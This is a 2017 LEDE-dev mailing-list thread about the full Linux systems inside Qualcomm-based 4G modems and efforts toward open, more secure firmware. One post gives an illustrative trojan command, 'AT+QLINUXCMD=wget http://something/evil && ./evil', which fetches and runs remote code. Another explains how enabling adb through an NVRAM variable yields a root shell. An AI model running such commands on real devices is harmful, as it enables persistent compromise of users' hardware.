Re: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was: Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]

[Bjørn Mork]

Harald Welte  writes:
> On Sun, Jan 08, 2017 at 11:10:20PM +0100, Bjørn Mork wrote:
>> Note that there is nothing Quectel here.  This is a standard Qualcomm
>> platform.  The output above comes from the Sierra Wireless EM7455
>> originally delivered as part of my Lenovo X1 Carbon, running bog
>> standard firmare.
>
> Would you mind sharing information how to access the shell?  It would be
> great to add some wiki pages on the Sierra Wireless modems to our wiki
> at https://osmocom.org/projects/quectel-modems/wiki (which despite the
> URL contains a lot of information that's not quectel specific).

This is valid only for the MC/EM74xx generation:

Change the "USB_COMP" NVRAM variable to e.g. 0x100f
(diag,adb,nmea,modem,mbim) or 0x050f (diag,adb,nmea,modem,rmnet0,rmnet1).
Reset the modem, and the firmware will add an Android gadget with adbd
running as root.  There you have your root shell.

I could provide more details on how exactly you change that variable,
but I'm a little worried about distributing that to every Windows laptop
user out there. It's too easy to use without understanding the
implications.  Someone is sooner or later going to softbrick their
modems in ways that can be difficult to fix without removing the modem
from the laptop.  You can argue that it will be a self inflicted
problem, but we know it will happen so I think it is better to protect
the innocent..

FWIW, I've already been through one modem not booting properly after
playing with this variable.

But I'll send you the script I am using to create a flashable NVRAM
update in private, without any distribution restrictions. That way you
can choose whether you agree or not.  I'll not complain.  I'll just
direct any support questions to you :)



Bjørn

___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev

Re: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was: Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]

[Harald Welte]

Hi Bjorn,

On Sun, Jan 08, 2017 at 11:10:20PM +0100, Bjørn Mork wrote:
> Note that there is nothing Quectel here.  This is a standard Qualcomm
> platform.  The output above comes from the Sierra Wireless EM7455
> originally delivered as part of my Lenovo X1 Carbon, running bog
> standard firmare.

Would you mind sharing information how to access the shell?  It would be
great to add some wiki pages on the Sierra Wireless modems to our wiki
at https://osmocom.org/projects/quectel-modems/wiki (which despite the
URL contains a lot of information that's not quectel specific).

> And IMHO it's rather pointless unless you do something about the
> "baseband" image. Which is probably not feasible due to the complete
> lack of any source code or documentation from Qualcomm.

Side Note: There have been a surprising number of source code leaks for
qualcomm baseband processors during the last decade, but they of course
are only for one specific chipset / device at a time, often are
difficult to impossible to build - and most importantly nothing that you
can legally ever use or distribute.

Also, I don't think it is pointless.  Improving security and removing
attack surface is always useful, even if you cannot resolve all problems
at once.

-- 
- Harald Welte    http://laforge.gnumonks.org/

"Privacy in residential applications is a desirable marketing option."
  (ETSI EN 300 175-7 Ch. A6)

___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev

Re: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was: Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]

[Harald Welte]

Hi Petr,

On Sun, Jan 08, 2017 at 08:26:23PM +0100, Petr Štetiar wrote:
> Indeed, it's very interesting and very scary. This modems are quite powerful
> devices, usually equiped with very good, but limited uplink connection, still
> making it ideal candidate for DDoS botnet for example, like any other router,

I agree. In days of LTE and LTE-A, the connectivity of cellular modems
is sometimes better than that of DSL-modems/routers ;)

> It's just a matter of time we see something like this in the wild.

Equally agreed.

> The probability is very high, 1.5M lines of just kernel code done
> probably in a hurry, without proper review, this is very big attack surface.

The kernel code is the same (or close to?) what is in all the Qualcomm
based Android devices.  That could mean a lot of things, among them that
Google Project Zero guys or other people doing android security might
find issues.  But i could also mean that the attack surfaces is much
larger than those modems ;)

> Guys at Osmocom already started working on completely open and more secure
> firmware using OpenEmbedded, but I would like to see it supported in LEDE
> also, probably with more mainline kernel if possible. 

Our goal at this point is not to modify / strip down the kernel.  The
primary goals at this point are:
a) more work on osmo-cqdiag and my wiershark DIAG protocol decoder
b) establish libqmi-glib interoperability with qmuxd
c) gradually replace existing proprietary userspace programs
d) build custom images + package feeds from OE/poky.
e) understand + document more parts of the Qualcomm Android Kernel

> Still, it's quite strange to see such a big embedded systems running
> in the 4G modem. It seems like 2017 is era of SITSes, Systems In The
> Systems.

I wanted to state this in my talk, but forgot: If software complexity
continues ti increase in cellular modems like we have seen it increase
in the 2006-2016 timeframe, then in ten years we will have
virtualization with orchestration managers in them.

I think the main problem is that 32bit CPU cores with MMU and memory is
getting so small and cheap cheap, that people just put full-blown Linux
systems everywhere.  Whether it makes sense, and how to maintain that in
the long term is apparently no concern.

Regards,
Harald
-- 
- Harald Welte    http://laforge.gnumonks.org/

"Privacy in residential applications is a desirable marketing option."
  (ETSI EN 300 175-7 Ch. A6)

___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev

Re: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was: Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]

[Bjørn Mork]

Petr Štetiar  writes:
> Bjørn Mork  [2017-01-08 23:10:20]:
>
>> The output above comes from the Sierra Wireless EM7455 originally delivered
>> as part of my Lenovo X1 Carbon, running bog standard firmare.
>
> Oops. How did you get into the shell of your modem? Is it a root shell also?

Sierra Wireless uses a bitmapped NVRAM variable to tell the system
which functions to enable. One of these functions is 'adb'. They also
implement an AT command to set this variable, but you cannot enable
'adb' there anymore (or maybe you can, using some other password?).

This AT command help text is taken from an old memory dump:

#AT!USBCOMP=,,
#- configuration index to which the composition applies, 
should be 1
# - 1:Generic, 2:USBIF-MBIM, 3:RNDIS
#config type 2/3 should only be used for specific 
Sierra PIDs: 68B1, 9068
#customized VID/PID should use config type 1
#   - DIAG - 0x0001,
#ADB  - 0x0002,
#NMEA - 0x0004,
#MODEM- 0x0008,
#RMNET0   - 0x0100,
#RMNET1   - 0x0400,
#RMNET2   - 0x0800,
#MBIM - 0x1000,
#RNDIS- 0x4000,
#AUDIO- 0x0001,
#ECM  - 0x0008,
#UBIST- 0x0020


There are other ways to set this and other variables, so the AT comand
interpreter restriction is not a show stopper.  Note that there are
invalid gadget combinations, so you can softbrick the modem by changing
this variable.

Anyway, this is not Android and you don't have the Android user
separation. Everything runs as root by default, including adbd. If you
enable the adb gadget, then you have a root shell.



Bjørn


___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev

Re: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was: Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]

[Matti Laakso]

> Adding laforge and zecke to the Cc loop.
>
> Matti Laakso  [2017-01-08 14:39:34]:
>
> Hi,
>
> > I'm almost done with checking the connection state using a 
> > proto_run_command with a simple script running uqmi --get-data-status 
> > periodically. If the check fails, the script dies and netifd should 
> > restart the connection. Then we hopefully don't need autoconnect anymore.
>
> I'm not using the autoconnect feature anymore, I'm using simple custom 
> script[1]. I wouldn't recommend using Qualcomm's implementation of QMI as the 
> source of truth about the connection status, I think it's more reliable to 
> use ping, wget/curl or some other more appropriate and battle tested solution.
>
> Simply said, uqmi can lie to you about the connection status. It's just some 
> qmuxd[2] after all using dozen threads answering you :-) What can probably go 
> wrong, right?

Sure, but to replace autoconnect it should only be at least as reliable as 
autoconnect. Depending on your network environment there might not be anything 
to ping, let alone any servers that would answer curl. This kind of connection 
monitoring is always quite custom and its place is not in netifd.

>
> > > And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", 
> > > which makes a lot of things crystal clear :-)
> >
> > That's an interesting talk, thanks for the note!
>
> Indeed, it's very interesting and very scary. This modems are quite powerful 
> devices, usually equiped with very good, but limited uplink connection, still 
> making it ideal candidate for DDoS botnet for example, like any other router, 
> camera or IoT device. It's just a matter of time we see something like this 
> in the wild.  The probability is very high, 1.5M lines of just kernel code 
> done probably in a hurry, without proper review, this is very big attack 
> surface.
>
> It's better to not think about the system in the modem as a nice place for a 
> hideout for a very persistent backdoor to our systems, surviving even 
> firmware updates.  Just imagine some trojan inside the router running 
> following on the modem's AT command serial interface:
>
>AT+QLINUXCMD=wget http://something/evil && ./evil
>
> Guys at Osmocom already started working on completely open and more secure 
> firmware using OpenEmbedded, but I would like to see it supported in LEDE 
> also, probably with more mainline kernel if possible. Still, it's quite 
> strange to see such a big embedded systems running in the 4G modem. It seems 
> like 2017 is era of SITSes, Systems In The Systems.

Also several Huawei modems have an Android system (with proprietary kernel 
modules parsing AT-commands etc.) running in one core between the USB host and 
the actual modem firmware in the second core (VxWorks). Security wise I'd be 
more worried about the VxWorks part.

Matti

___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev

Re: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was: Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]

[Petr Štetiar]

Bjørn Mork  [2017-01-08 23:10:20]:

> The output above comes from the Sierra Wireless EM7455 originally delivered
> as part of my Lenovo X1 Carbon, running bog standard firmare.

Oops. How did you get into the shell of your modem? Is it a root shell also?

Seems like some serial line filtering might be needed in the kernel, to limit
access to such backdoor commands like 'AT+QLINUXCMD' only to certain users :-)

It's like a bad dream, really.

> Trying not to kill the optimism here, but...  But this is a project with
> about the same complexity as replacing Android on a phone.

It's not that complex, it's missing the UI part, WiFi, BLE etc. :-) But I
understand the complexity, that's why I'm trying to bring some attention into
this project, probably help little bit also.

> And IMHO it's rather pointless unless you do something about the "baseband"
> image.

It's not pointless for me. We do the same with our routers, even if we still
can't control the WiFi binary blob firmwares in majority of them. I would be
happy if I could build custom firmware image for my modem using LEDE. Why not
use the modem as the only CPU in the system? Quectel modems have quite a long
EOL, making it quite viable target.

> Which is probably not feasible due to the complete lack of any source
> code or documentation from Qualcomm.

Yep, time will show :-)

-- ynezz

___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev

Re: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was: Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]

[Bjørn Mork]

Petr Štetiar  writes:

> Adding laforge and zecke to the Cc loop.
>
> Matti Laakso  [2017-01-08 14:39:34]:
>
> Hi,
>
>> I'm almost done with checking the connection state using a proto_run_command
>> with a simple script running uqmi --get-data-status periodically. If the
>> check fails, the script dies and netifd should restart the connection. Then
>> we hopefully don't need autoconnect anymore.
>
> I'm not using the autoconnect feature anymore, I'm using simple custom
> script[1]. I wouldn't recommend using Qualcomm's implementation of QMI as the
> source of truth about the connection status, I think it's more reliable to use
> ping, wget/curl or some other more appropriate and battle tested solution.
>
> Simply said, uqmi can lie to you about the connection status. It's just some
> qmuxd[2] after all using dozen threads answering you :-) What can probably go
> wrong, right?
>
>> > And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", which 
>> > makes
>> > a lot of things crystal clear :-)
>>
>> That's an interesting talk, thanks for the note!
>
> Indeed, it's very interesting and very scary. This modems are quite powerful
> devices, usually equiped with very good, but limited uplink connection, still
> making it ideal candidate for DDoS botnet for example, like any other router,
> camera or IoT device. It's just a matter of time we see something like this in
> the wild.  The probability is very high, 1.5M lines of just kernel code done
> probably in a hurry, without proper review, this is very big attack surface.

Yes, LTE modems are scary.  I think a DDoS botnet would be a waste of
resources here...

You have a full Linux system with plenty of ram and flash hidden inside
a number of modern laptops, with high speed network access completely
independent of the host.  This system is regularily flashed behind the
scene by the Windows host drivers. Changing the running image without
the user noticing is a piece of cake. If you have to... The Linux distro
is surprisingly complete, including things like perl and gdb(!), so you
might really have all you need there already. No gcc, though ;)

/ # perl -V
Warning: failed to load Config_git.pl, something strange about this perl...
Summary of my perl5 (revision 5 version 14 subversion 2) configuration:
  undef undef
  Platform:
osname=linux, osvers=2.6.37-rc5-yocto-standard+, archname=arm-linux-gnueabi
uname='linux qemux86 2.6.37-rc5-yocto-standard+ #1 preempt mon dec 20 
14:21:27 pst 2010 i686 gnulinux '
config_args='-des -Doptimize=-O2 -Dmyhostname=localhost 
-Dperladmin=root@localhost -Dcc=gcc -Dcf_by=Open Embedded -Dinstallprefix=/usr 
-Dprefix=/usr -Dvendorprefix=/usr -Dsiteprefix=/usr 
-Dotherlibdirs=/usr/lib/perl/5.14.2 -Duseshrplib -Dusethreads -Duseithreads 
-Duselargefiles -Ud_dosuid -Dd_semctl_semun -Ui_db -Ui_ndbm -Ui_gdbm -Di_shadow 
-Di_syslog -Dman3ext=3pm -Duseperlio -Dinstallusrbinperl -Ubincompat5005 
-Uversiononly -Dpager=/usr/bin/less -isr'
hint=recommended, useposix=true, d_sigaction=define
useithreads=define, usemultiplicity=define
useperlio=define, d_sfio=undef, uselargefiles=define, usesocks=undef
use64bitint=undef, use64bitall=undef, uselongdouble=undef
usemymalloc=n, bincompat5005=undef
  Compiler:
cc='arm-oe-linux-gnueabi-gcc  -march=armv7-a -fno-tree-vectorize  
-mthumb-interwork -mfloat-abi=softfp -mfpu=neon -mtune=cortex-a8 
-mno-thumb-interwork -mno-thumb 
--sysroot=/home/gsmbuild/tags/buildscripts/SWI9X30C_02.23.00.00/mdm9x30r30_core/apps_proc/oe-core/build/tmp-eglibc/sysroots/mdm9635-perf',
 ccflags ='-DSIERRA -DSWI_APPS_PROC -DSWI_IMAGE_APPS -O2 
-fexpensive-optimizations -frename-registers -fomit-frame-pointer -DDEBIAN 
-D_REENTRANT -D_GNU_SOURCE -fno-strict-aliasing -pipe -fstack-protector 
-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64',
optimize='-O2',
cppflags='-fno-strict-aliasing'
ccversion='', gccversion='4.5.1', gccosandvers=''
intsize=4, longsize=4, ptrsize=4, doublesize=8, byteorder=1234
d_longlong=define, longlongsize=8, d_longdbl=define, longdblsize=12
ivtype='long', ivsize=4, nvtype='double', nvsize=8, Off_t='off_t', 
lseeksize=8
alignbytes=4, prototype=define
  Linker and Libraries:
ld='arm-oe-linux-gnueabi-gcc  -march=armv7-a -fno-tree-vectorize  
-mthumb-interwork -mfloat-abi=softfp -mfpu=neon -mtune=cortex-a8 
-mno-thumb-interwork -mno-thumb 
--sysroot=/home/gsmbuild/tags/buildscripts/SWI9X30C_02.23.00.00/mdm9x30r30_core/apps_proc/oe-core/build/tmp-eglibc/sysroots/mdm9635-perf',
 ldflags ='-Wl,-O1 -Wl,--hash-style=gnu -Wl,--as-needed'
libpth=/lib /usr/lib
libs=-lnsl -lgdbm -ldb -ldl -lm -lcrypt -lutil -lpthread -lc
perllibs=-lnsl -ldl -lm -lcrypt -lutil -lpthread -lc
libc=/lib/libc-2.12.1.so, so=so, useshrplib=true, libperl=libperl.so
gnulibc_version='2.12.1'
  Dynamic Linking:
dlsrc=dl_dlopen.xs, dlext=so, d_dlsymun=undef, ccdlflags='-Wl,-E 

[LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was: Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]

[Petr Štetiar]

Adding laforge and zecke to the Cc loop.

Matti Laakso  [2017-01-08 14:39:34]:

Hi,

> I'm almost done with checking the connection state using a proto_run_command
> with a simple script running uqmi --get-data-status periodically. If the
> check fails, the script dies and netifd should restart the connection. Then
> we hopefully don't need autoconnect anymore.

I'm not using the autoconnect feature anymore, I'm using simple custom
script[1]. I wouldn't recommend using Qualcomm's implementation of QMI as the
source of truth about the connection status, I think it's more reliable to use
ping, wget/curl or some other more appropriate and battle tested solution.

Simply said, uqmi can lie to you about the connection status. It's just some
qmuxd[2] after all using dozen threads answering you :-) What can probably go
wrong, right?

> > And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", which makes
> > a lot of things crystal clear :-)
>
> That's an interesting talk, thanks for the note!

Indeed, it's very interesting and very scary. This modems are quite powerful
devices, usually equiped with very good, but limited uplink connection, still
making it ideal candidate for DDoS botnet for example, like any other router,
camera or IoT device. It's just a matter of time we see something like this in
the wild.  The probability is very high, 1.5M lines of just kernel code done
probably in a hurry, without proper review, this is very big attack surface.

It's better to not think about the system in the modem as a nice place for a
hideout for a very persistent backdoor to our systems, surviving even firmware
updates.  Just imagine some trojan inside the router running following on the
modem's AT command serial interface:

   AT+QLINUXCMD=wget http://something/evil && ./evil

Guys at Osmocom already started working on completely open and more secure
firmware using OpenEmbedded, but I would like to see it supported in LEDE
also, probably with more mainline kernel if possible. Still, it's quite
strange to see such a big embedded systems running in the 4G modem. It seems
like 2017 is era of SITSes, Systems In The Systems.

I use Quectel modems already, so I would love to work on this myself, but I've
few other projects with higher priorities going on now, so I'm rather thinking
about other way of supporting this very promising project.

So far the best idea lying in my head currently is buying few modems + mPCIe
breakout boards[3] and deliver those to interested developers. I'm just not
sure if this kind of support is going to lead somewhere.  Simply said, I'm
willing to spend some money in exchange of faster development of this project.

1. http://lists.infradead.org/pipermail/lede-dev/2016-October/003504.html
2. https://osmocom.org/projects/quectel-modems/wiki/Qmuxd
3. http://osmocom.org/projects/mpcie-breakout

-- ynezz

___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev